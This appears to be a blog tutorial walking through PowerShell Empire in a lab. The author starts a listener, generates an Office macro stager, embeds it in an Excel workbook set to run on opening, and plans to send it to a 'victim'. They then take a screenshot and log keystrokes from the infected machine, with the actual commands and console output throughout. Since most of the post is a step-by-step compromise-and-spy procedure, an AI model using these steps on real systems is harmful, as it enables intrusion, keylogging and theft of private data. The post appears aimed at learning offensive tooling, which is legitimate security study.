In this post I try PowerShell Empire for the first time. The information is largely based off of the following resources:
Information about PowerShell Empire and how to install it can be found on the official website.
In this post we will generate some malicious code, simulate the victim activating the code, and see what we can do from there.
PowerShell empire has listeners, stagers, agents and modules.
The listener is the service that is executed on the attacker's machine. The infected machines will connect to the listener.
Stagers are the different methods you can use to deliver the payload to the
victim. For instance there is a
windows/macro stager that generates an Office
Macro that will connect to the selected listener.
There is also a
windows/ducky stager that generates a Ducky script that will
run a one-liner stage0 launcher.
A launcher is the the code that will make the victim connect to the listener.
So a stager contains the delivery method and the payload to get the remote access.
Once the victim has executed the malicious code, an agent is started and connects to the listener. Thanks to the agent we will be able to use modules to take screenshots, elevate our privileges, capture network traffic, etc...
We start PowerShell Empire with
================================================================ [Empire] Post-Exploitation Framework ================================================================ [Version] 2.5 | [Web] https://github.com/empireProject/Empire ================================================================ _______ .___ ___. .______ __ .______ _______ | ____|| \/ | | _ \ | | | _ \ | ____| | |__ | \ / | | |_) | | | | |_) | | |__ | __| | |\/| | | ___/ | | | / | __| | |____ | | | | | | | | | |\ \----.| |____ |_______||__| |__| | _| |__| | _| `._____||_______| 284 modules currently loaded 0 listeners currently active 0 agents currently active (Empire) >
From there we can always use the command
help to display available commands:
(Empire) > help Commands ======== agents Jump to the Agents menu. creds Add/display credentials to/from the database. exit Exit Empire help Displays the help menu. interact Interact with a particular agent. list Lists active agents or listeners. listeners Interact with active listeners. load Loads Empire modules from a non-standard folder. plugin Load a plugin file to extend Empire. plugins List all available and active plugins. preobfuscate Preobfuscate PowerShell module_source files reload Reload one (or all) Empire modules. report Produce report CSV and log files: sessions.csv, credentials.csv, master.log reset Reset a global option (e.g. IP whitelists). resource Read and execute a list of Empire commands from a file. searchmodule Search Empire module names/descriptions. set Set a global option (e.g. IP whitelists). show Show a global option (e.g. IP whitelists). usemodule Use an Empire module. usestager Use an Empire stager. (Empire) >
To create a listener, we will go to the listeners menu with the command
(Empire) > listeners [!] No listeners currently active (Empire: listeners) >
We are warned that no listener is currently active and then the shell
To select a listener to use we type the command
To see the list of available listeners we type
uselistener and press
(Empire: listeners) > uselistener dbx http_com http_hop meterpreter redirector http http_foreign http_mapi onedrive
In this post we will use the
(Empire: listeners) > uselistener http (Empire: listeners/http) >
Notice how the shell changes to
Our listener is selected, to start it, we use
(Empire: listeners/http) > execute [*] Starting listener 'http' * Serving Flask app "http" (lazy loading) * Environment: production WARNING: Do not use the development server in a production environment. Use a production WSGI server instead. * Debug mode: off [+] Listener successfully started! (Empire: listeners/http) >
We can see the list of active listeners at any moment with
takes us back to the listeners menu).
(Empire: listeners/http) > listeners [*] Active listeners: Name Module Host Delay/Jitter KillDate ---- ------ ---- ------------ -------- http http http://10.0.1.60:80 5/0.0 (Empire: listeners) >
Now that we have a listener running. We need to create a payload so that our victim connects to this listener. Empire has you covered as you can do so very easily for various formats with stagers.
Let's show the list of available stagers by typing
usestager and pressing
(Empire: listeners) > usestager multi/bash osx/macho windows/launcher_bat multi/launcher osx/macro windows/launcher_lnk multi/macro osx/pkg windows/launcher_sct multi/pyinstaller osx/safari_launcher windows/launcher_vbs multi/war osx/teensy windows/launcher_xml osx/applescript windows/backdoorLnkMacro windows/macro osx/application windows/bunny windows/macroless_msword osx/ducky windows/csharp_exe windows/shellcode osx/dylib windows/dll windows/teensy osx/jar windows/ducky osx/launcher windows/hta
In this post we will use
(Empire: listeners) > usestager windows/macro (Empire: stager/windows/macro) >
Now we need to configure our stager so that it connects to our
We can see the list of options with
(Empire: stager/windows/macro) > options Name: Macro Description: Generates an office macro for Empire, compatible with office 97-2003, and 2007 file types. Options: Name Required Value Description ---- -------- ------- ----------- Listener True Listener to generate stager for. OutFile False /tmp/macro File to output macro to, otherwise displayed on the screen. Obfuscate False False Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only. ObfuscateCommand False Token\All\1,Launcher\STDIN++\12467The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only. Language True powershell Language of the stager to generate. ProxyCreds False default Proxy credentials ([domain\]username:password) to use for request (default, none, or other). UserAgent False default User-agent string to use for the staging request (default, none, or other). Proxy False default Proxy to use for request (default, none, or other). StagerRetries False 0 Times for the stager to retry connecting. (Empire: stager/windows/macro) >
We set the
Listener option to
http with the
(Empire: stager/windows/macro) > set Listener http (Empire: stager/windows/macro) >
You should always be able to use autocompletion, otherwise it means that the command does not exist or is mispelled.
Finally, our stager is configured, and we can now generate it with the
(Empire: stager/windows/macro) > generate [*] Stager output written out to: /tmp/macro (Empire: stager/windows/macro) >
Now that we have an Office macro that will connect to the listener once executed, we have to find a way for the victim to execute the macro. This part is where you have to get creative.
In this post, I will simply put the macro in an Excel file and make it execute the macro whenever the workbook is opened.
You might need to activate the developer tab in
File > Options > Customize Ribbon
to be able to modify macros. Once its done go to
Developer > View code to
edit the macros.
To do so, we add the code found in
/tmp/macro to our Excel file in "This Workbook".
And we add some code to execute the malicious function (let's name it
the workbook opens:
Sub Workbook_Open() EUS End Sub
Now we save the file in the 97-2003 format, send it to our victim and wait patiently for him to open the workbook.
Once the victim has opened the woorkbook and activated macros we should see this in our console:
(Empire) > [*] Sending POWERSHELL stager (stage 1) to 10.0.9.243 [*] New agent 2UXW7CKL checked in [+] Initial agent 2UXW7CKL from 10.0.9.243 now active (Slack) [*] Sending agent (stage 2) to 2UXW7CKL at 10.0.9.243 (Empire) >
This indicates that a new agent has been created, named
We can rename it with
rename. But first we need to navigate to the
(Empire) > agents [*] Active agents: Name La Internal IP Machine Name Username Process PID Delay Last Seen ---- -- ----------- ------------ -------- ------- --- ----- --------- 2UXW7CKL ps 10.0.9.243 DESKTOP-8GLFQDV DESKTOP-8GLFQDV\brainco powershell 4112 5/0.0 2018-05-28 23:04:11
Now we can give a better name to our agent. Let's name it
(Empire: agents) > rename 2UXW7CKL NonAdminW10 (Empire: agents) > agents [*] Active agents: Name La Internal IP Machine Name Username Process PID Delay Last Seen ---- -- ----------- ------------ -------- ------- --- ----- --------- NonAdmin ps 10.0.9.243 DESKTOP-8GLFQDV DESKTOP-8GLFQDV\brainco powershell 4112 5/0.0 2018-05-28 23:05:09
Now that we have remote control over the infected PC, let's see what we can do.
A set of modules already exist, to see them type
usemodule and press
Here is an excerpt of the output:
(Empire: agents) > usemodule Display all 284 possibilities? (y or n) exfiltration/Invoke_ExfilDataToGitHub external/generate_agent powershell/code_execution/invoke_dllinjection powershell/code_execution/invoke_metasploitpayload powershell/code_execution/invoke_ntsd powershell/code_execution/invoke_reflectivepeinjection powershell/code_execution/invoke_shellcode powershell/code_execution/invoke_shellcodemsil powershell/collection/ChromeDump powershell/collection/FoxDump powershell/collection/USBKeylogger* powershell/collection/WebcamRecorder powershell/collection/browser_data
If we wish to take a screenshot of the PC we can use the module
But first we need to select our agent with
(Empire: agents) > interact NonAdminW10 (Empire: NonAdminW10) >
Now we can execute our modules with
usemodule and the
(Empire: NonAdminW10) > usemodule collection/screenshot (Empire: powershell/collection/screenshot) > run [*] Tasked 2UXW7CKL to run TASK_CMD_WAIT_SAVE [*] Agent 2UXW7CKL tasked with task ID 1 [*] Tasked agent NonAdminW10 to run module powershell/collection/screenshot (Empire: powershell/collection/screenshot) > [+] File screenshot/DESKTOP-8GLFQDV_2018-05-28_23-13-30.png from NonAdminW10 saved [*] Agent 2UXW7CKL returned results. Output saved to ./downloads/NonAdminW10/screenshot/DESKTOP-8GLFQDV_2018-05-28_23-13-30.png [*] Valid results returned by 10.0.9.243 (Empire: powershell/collection/screenshot) >
The file might take some time to be saved. If you open it you will see exactly what was on the victim's screen when the capture was taken.
Now let's use the module
keylogger. We use
back to go back to our agent's
menu and we select and start the module
(Empire: powershell/collection/screenshot) > back (Empire: NonAdminW10) > usemodule collection/keylogger (Empire: powershell/collection/keylogger) > run [*] Tasked 2UXW7CKL to run TASK_CMD_JOB [*] Agent 2UXW7CKL tasked with task ID 2 [*] Tasked agent NonAdminW10 to run module powershell/collection/keylogger (Empire: powershell/collection/keylogger) > [*] Agent 2UXW7CKL returned results. Job started: B3CS1G [*] Valid results returned by 10.0.9.243
Now if we go to the victim's machine and type "magnolia" somewhere, here is
what we will see
Agent 2UXW7CKL returned results in our console.
Note that I encountered an error because the agent was renamed, so I had to
manually create a file
downloads/2UXW7CKL/keystrokes.txt to get the keystrokes.
Once that was done I could see the user's keystrokes:
cat 2UXW7CKL/keystrokes.txt [Backspace] magnolia%